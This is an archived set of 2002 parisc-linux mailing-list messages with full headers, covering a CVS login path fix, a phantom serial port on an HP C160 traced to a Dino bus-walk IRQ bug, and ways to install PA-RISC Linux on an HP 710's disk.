    $ cvs -d :pserver:anonymous@cvs.parisc-linux.org:/var/cvs/ login



From - Thu Nov 08 21:21:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Mottram <peter@petescaff.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Strange serial behaviour on C160
Date: Wed, 20 Feb 2002 18:59:00 +0100 (CET)
Lines: 23
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.42.0202201833210.8367-100000@r6.petescaff.com>
References: <Pine.LNX.4.33.0202200815060.13804-100000@goliath.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621088 3643 80.91.229.3 (22 Nov 2014 01:51:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:28 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 20 10:59:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.petescaff.com (petem.xs4all.nl [194.109.247.92])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1AC44485A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 20 Feb 2002 10:59:03 -0700 (MST)
Original-Received: from r6.petescaff.com ([192.168.0.3])
	by smtp.petescaff.com with esmtp (Exim 3.33 #1)
	id 16db1A-0005Yt-00
	for parisc-linux@lists.parisc-linux.org; Wed, 20 Feb 2002 18:59:00 +0100
X-X-Sender: apm@r6.petescaff.com
In-Reply-To: <Pine.LNX.4.33.0202200815060.13804-100000@goliath.alaskatech.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14118

I am seeing weird serial behaviour on my C160......

Before upgrading from HP-UX to Linux I had two perfectly functioning
serial ports on my C160. I now appear to have THREE serial ports -
ttyS[0-2].

ttyS0 works perfectly
ttyS1 goes somewhere - not found where yet
ttyS2 goes to my second serial port but does not work at all well. A
simple cat of a file to the device results in the file appearing on a
terminal just a few characters at a time & incredibly slowly. All serial
ports have the same settings & ttyS0 has no problems (I use it for the
console).

I checked a C110 & found no problems there - just 2 perfect serial ports.

Anyone have any ideas?

TIA
PeteM




From - Thu Nov 08 21:21:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fix for anon CVS problem
Date: Wed, 20 Feb 2002 21:34:39 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20020220203439.GN18569@charite.de>
References: <E16dag5-00051i-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621088 3646 80.91.229.3 (22 Nov 2014 01:51:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:28 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Paul Bame <bame@fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 20 13:34:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.73.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id A1268484F
	for <parisc-linux@parisc-linux.org>; Wed, 20 Feb 2002 13:34:45 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id 35EF815C025; Wed, 20 Feb 2002 21:34:42 +0100 (CET)
Original-Received: from localhost (localhost [127.0.0.1])
	by hauptpostamt.charite.de (Postfix) with SMTP
	id DE3AC15C02A; Wed, 20 Feb 2002 21:34:41 +0100 (CET)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id 6698715C025; Wed, 20 Feb 2002 21:34:41 +0100 (CET)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 3F129633B2; Wed, 20 Feb 2002 21:34:39 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <E16dag5-00051i-00@noam.fc.hp.com>
User-Agent: Mutt/1.3.25i
X-Virus-Scanned: by AMaViS snapshot-20020109
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14119

On Wed, Feb 20, 2002 at 10:37:13AM -0700, Paul Bame wrote:
> 
> Use
>     $ cvs -d :pserver:anonymous@cvs.parisc-linux.org:/var/cvs login
> not
>     $ cvs -d :pserver:anonymous@cvs.parisc-linux.org:/var/cvs/ login

Excellent. Works now.

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
Confucius says: He who play in root, eventually kill tree.




From - Thu Nov 08 21:21:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Strange serial behaviour on C160
Date: Wed, 20 Feb 2002 20:48:00 +0000
Lines: 45
Approved: news@gmane.org
Message-ID: <20020220204800.A27212@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.33.0202200815060.13804-100000@goliath.alaskatech.org> <Pine.LNX.4.42.0202201833210.8367-100000@r6.petescaff.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621089 3648 80.91.229.3 (22 Nov 2014 01:51:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Peter Mottram <peter@petescaff.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 20 13:48:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5FAE44864
	for <parisc-linux@lists.parisc-linux.org>; Wed, 20 Feb 2002 13:48:02 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16ddei-0007zC-00; Wed, 20 Feb 2002 20:48:00 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <Pine.LNX.4.42.0202201833210.8367-100000@r6.petescaff.com>; from peter@petescaff.com on Wed, Feb 20, 2002 at 06:59:00PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14120

On Wed, Feb 20, 2002 at 06:59:00PM +0100, Peter Mottram wrote:
> Before upgrading from HP-UX to Linux I had two perfectly functioning
> serial ports on my C160. I now appear to have THREE serial ports -
> ttyS[0-2].

Hehe.. yeah, that was the case for quite a long time :-)

> ttyS0 works perfectly
> ttyS1 goes somewhere - not found where yet
> ttyS2 goes to my second serial port but does not work at all well. A
> simple cat of a file to the device results in the file appearing on a
> terminal just a few characters at a time & incredibly slowly. All serial
> ports have the same settings & ttyS0 has no problems (I use it for the
> console).

If you could upgrade to the latest kernel, you will find the additional
serial port gone again.  I hadn't heard about the speed problems before,
so if you could tell me whether they're still present with most-recent
kernel, that would be very helpful.  Thanks!

For those who are interested:

Lasi, Dino, Cujo and Wax each have one serial port implemented.
In a C160, there is a Dino, a Lasi and a Wax, so there are 3 serial
port implementations.  However, the one in Dino isn't connected to
anything, so ideally we wouldn't report it.  It only confuses people.

So firmware tells us about the ones on Lasi and on Wax (at 8/16/4 and
8/20/2 respectively), and doesn't tell us about the one underneath Dino.
But the parent of Dino is U2 which is a bus adapter.  And we know there
are devices underneath bus adapters which firmware doesn't tell us about,
they have to be discovered by an architected bus walk.  When we do this
buswalk, we find the serial port underneath Dino at 8/3.

We can distinguish this port from a real serial port because it's not
assigned an IRQ.  However, there was a bug in the irq-assigning code
which happened to assign an irq to the device in exactly this case.
So we thought it was legitimate when it wasn't.  I fixed that bug in
the last couple of weeks and now my C360 (one port on Lasi, one on Dino,
non-existent one on Cujo) only reports 2 serial ports.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeremy C. Reed" <reed@reedmedia.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Is there a hard-drive image for PA-RISC Linux 0.9.3?
Date: Wed, 20 Feb 2002 16:04:25 -0800 (PST)
Lines: 24
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.43.0202201544030.30896-100000@pilchuck.reedmedia.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621089 3655 80.91.229.3 (22 Nov 2014 01:51:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:29 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 20 17:04:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pilchuck.reedmedia.net (pilchuck.reedmedia.net [209.166.74.74])
	by dsl2.external.hp.com (Postfix) with ESMTP id 504B44859
	for <parisc-linux@lists.parisc-linux.org>; Wed, 20 Feb 2002 17:04:28 -0700 (MST)
Original-Received: from reed by pilchuck.reedmedia.net with local-esmtp (Exim 3.12 #1 (Debian))
	id 16dgin-00068R-00; Wed, 20 Feb 2002 16:04:25 -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14121

I see that 710 is now supported by PA-RISC Linux.

I see that there are ISO images available. Can these be extracted to place
on a SCSI disk?

If so, any ideas on how? (For example, how do I get grub or lilo setup
correctly?)

My HP 710 computer currently has operating system from 1997:

 MkLinux for HP PA-RISC
 Release 1.1 (Linux 2.0.32-osfmach3 on a hp_pa)

It was installed by using a diks image that copied to the disk using
dd(1). I am hoping I can do the same again.

Thanks,

   Jeremy C. Reed
   http://www.reedmedia.net/





From - Thu Nov 08 21:21:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <palinux@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Is there a hard-drive image for PA-RISC Linux
 0.9.3?
Date: Wed, 20 Feb 2002 15:19:56 -0900 (AKST)
Lines: 38
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0202201518450.13804-100000@goliath.alaskatech.org>
References: <Pine.LNX.4.43.0202201544030.30896-100000@pilchuck.reedmedia.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621089 3663 80.91.229.3 (22 Nov 2014 01:51:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:29 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Jeremy C. Reed" <reed@reedmedia.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 20 17:26:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from goliath.alaskatech.org (cable-207-5-237-24.anchorageak.net [24.237.5.207])
	by dsl2.external.hp.com (Postfix) with ESMTP id 42A1F486B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 20 Feb 2002 17:26:56 -0700 (MST)
Original-Received: from goliath.alaskatech.org (goliath.alaskatech.org [24.237.5.207])
	by goliath.alaskatech.org (8.12.2/8.12.2) with ESMTP id g1L0JuPF014230;
	Wed, 20 Feb 2002 15:19:56 -0900
In-Reply-To: <Pine.LNX.4.43.0202201544030.30896-100000@pilchuck.reedmedia.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14122

On Wed, 20 Feb 2002, Jeremy C. Reed wrote:

> I see that 710 is now supported by PA-RISC Linux.
>
> I see that there are ISO images available. Can these be extracted to place
> on a SCSI disk?

Isn't it possible to use 'dd if=palinux.iso of=/dev/sda' and end up with a
"CD on a disk"? Or somethign similar? Would require a disposable 1G SCSI
drive, but it'd at least work...

>
> If so, any ideas on how? (For example, how do I get grub or lilo setup
> correctly?)
>
> My HP 710 computer currently has operating system from 1997:
>
>  MkLinux for HP PA-RISC
>  Release 1.1 (Linux 2.0.32-osfmach3 on a hp_pa)
>
> It was installed by using a diks image that copied to the disk using
> dd(1). I am hoping I can do the same again.
>
> Thanks,
>
>    Jeremy C. Reed
>    http://www.reedmedia.net/
>
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>




From - Thu Nov 08 21:21:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bryan W. Headley" <bwheadley@earthlink.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Is there a hard-drive image for PA-RISC Linux 0.9.3?
Date: Wed, 20 Feb 2002 20:09:52 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <3C7456F0.809@earthlink.net>
References: <Pine.LNX.4.33.0202201518450.13804-100000@goliath.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621090 3667 80.91.229.3 (22 Nov 2014 01:51:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Jeremy C. Reed" <reed@reedmedia.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 20 19:11:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from swan.prod.itd.earthlink.net (swan.mail.pas.earthlink.net [207.217.120.123])
	by dsl2.external.hp.com (Postfix) with ESMTP id 805B14868
	for <parisc-linux@lists.parisc-linux.org>; Wed, 20 Feb 2002 19:11:05 -0700 (MST)
Original-Received: from user-11218cv.dsl.mindspring.com ([66.32.161.159] helo=cactus.bheadley.org)
	by swan.prod.itd.earthlink.net with esmtp (Exim 3.33 #1)
	id 16digF-0005Ew-00; Wed, 20 Feb 2002 18:09:55 -0800
Original-Received: from localhost.localdomain
	([127.0.0.1] helo=earthlink.net ident=bheadley)
	by cactus.bheadley.org with esmtp (Exim 3.34 #1 (Debian))
	id 16digC-00031q-00; Wed, 20 Feb 2002 20:09:52 -0600
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.8) Gecko/20020215
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14123

Tom wrote:
> On Wed, 20 Feb 2002, Jeremy C. Reed wrote:
> 
> 
>>I see that 710 is now supported by PA-RISC Linux.
>>
>>I see that there are ISO images available. Can these be extracted to place
>>on a SCSI disk?
>>
> 
> Isn't it possible to use 'dd if=palinux.iso of=/dev/sda' and end up with a
> "CD on a disk"? Or somethign similar? Would require a disposable 1G SCSI
> drive, but it'd at least work...

Assuming no "reasonable assumptions" made by the boot ROM precludes it 
("iso9660 on a disc? No.") Worst case is mount the iso image on another 
linux box, and use nfsroot/rboot. Personally, I'd just find a friend 
with a CD burner and write on CD/R media. Lot less cantankerous, believe me!





-- 
____               .:.                 ____
Bryan W. Headley - bwheadley@earthlink.net




From - Thu Nov 08 21:21:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeremy C. Reed" <reed@reedmedia.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Is there a hard-drive image for PA-RISC Linux
 0.9.3?
Date: Wed, 20 Feb 2002 18:21:24 -0800 (PST)
Lines: 20
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.43.0202201818570.30896-100000@pilchuck.reedmedia.net>
References: <3C7456F0.809@earthlink.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621090 3670 80.91.229.3 (22 Nov 2014 01:51:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 20 19:21:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pilchuck.reedmedia.net (pilchuck.reedmedia.net [209.166.74.74])
	by dsl2.external.hp.com (Postfix) with ESMTP id 68B5D4870
	for <parisc-linux@lists.parisc-linux.org>; Wed, 20 Feb 2002 19:21:28 -0700 (MST)
Original-Received: from reed by pilchuck.reedmedia.net with local-esmtp (Exim 3.12 #1 (Debian))
	id 16dirM-0006Dq-00; Wed, 20 Feb 2002 18:21:24 -0800
In-Reply-To: <3C7456F0.809@earthlink.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14124

On Wed, 20 Feb 2002, Bryan W. Headley wrote:

> > Isn't it possible to use 'dd if=palinux.iso of=/dev/sda' and end up with a
> > "CD on a disk"? Or somethign similar? Would require a disposable 1G SCSI
> > drive, but it'd at least work...

I didn't think that this was possible, but I can give it a try.

> Assuming no "reasonable assumptions" made by the boot ROM precludes it
> ("iso9660 on a disc? No.") Worst case is mount the iso image on another
> linux box, and use nfsroot/rboot. Personally, I'd just find a friend
> with a CD burner and write on CD/R media. Lot less cantankerous, believe me!

Wel, I have the CD burner; I just don't have a SCSI CD drive for my HP 710 :)

   Jeremy C. Reed
   http://www.reedmedia.net/




From - Thu Nov 08 21:21:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Is there a hard-drive image for PA-RISC Linux 0.9.3?
Date: Thu, 21 Feb 2002 03:04:12 +0000
Lines: 9
Approved: news@gmane.org
Message-ID: <20020221030412.B27212@parcelfarce.linux.theplanet.co.uk>
References: <3C7456F0.809@earthlink.net> <Pine.LNX.4.43.0202201818570.30896-100000@pilchuck.reedmedia.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621090 3671 80.91.229.3 (22 Nov 2014 01:51:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Jeremy C. Reed" <reed@reedmedia.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 20 20:04:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7326B4869
	for <parisc-linux@lists.parisc-linux.org>; Wed, 20 Feb 2002 20:04:14 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16djWm-0005ox-00; Thu, 21 Feb 2002 03:04:12 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <Pine.LNX.4.43.0202201818570.30896-100000@pilchuck.reedmedia.net>; from reed@reedmedia.net on Wed, Feb 20, 2002 at 06:21:24PM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14125

On Wed, Feb 20, 2002 at 06:21:24PM -0800, Jeremy C. Reed wrote:
> Wel, I have the CD burner; I just don't have a SCSI CD drive for my HP 710 :)

I think you'd be better off netbooting, personally.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] MySQL
Date: Thu, 21 Feb 2002 13:15:11 +0800
Lines: 79
Approved: news@gmane.org
Message-ID: <20020221131507.E611@neep.com.au>
References: <5.0.2.1.2.20020218115723.00ad0e80@pop.puretec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621091 3677 80.91.229.3 (22 Nov 2014 01:51:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 20 22:15:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from guinness.internal.neep.com.au (090.v90.ppp.reynolds.net.au [203.13.164.90])
	by dsl2.external.hp.com (Postfix) with ESMTP id EC7F24852
	for <parisc-linux@lists.parisc-linux.org>; Wed, 20 Feb 2002 22:15:39 -0700 (MST)
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id NAA17908
	for parisc-linux@lists.parisc-linux.org; Thu, 21 Feb 2002 13:15:18 +0800
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <5.0.2.1.2.20020218115723.00ad0e80@pop.puretec.de>; from tilo@jandt-online.net on Mon, Feb 18, 2002 at 12:03:11PM +0100
X-URL: http://www.neep.com.au/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
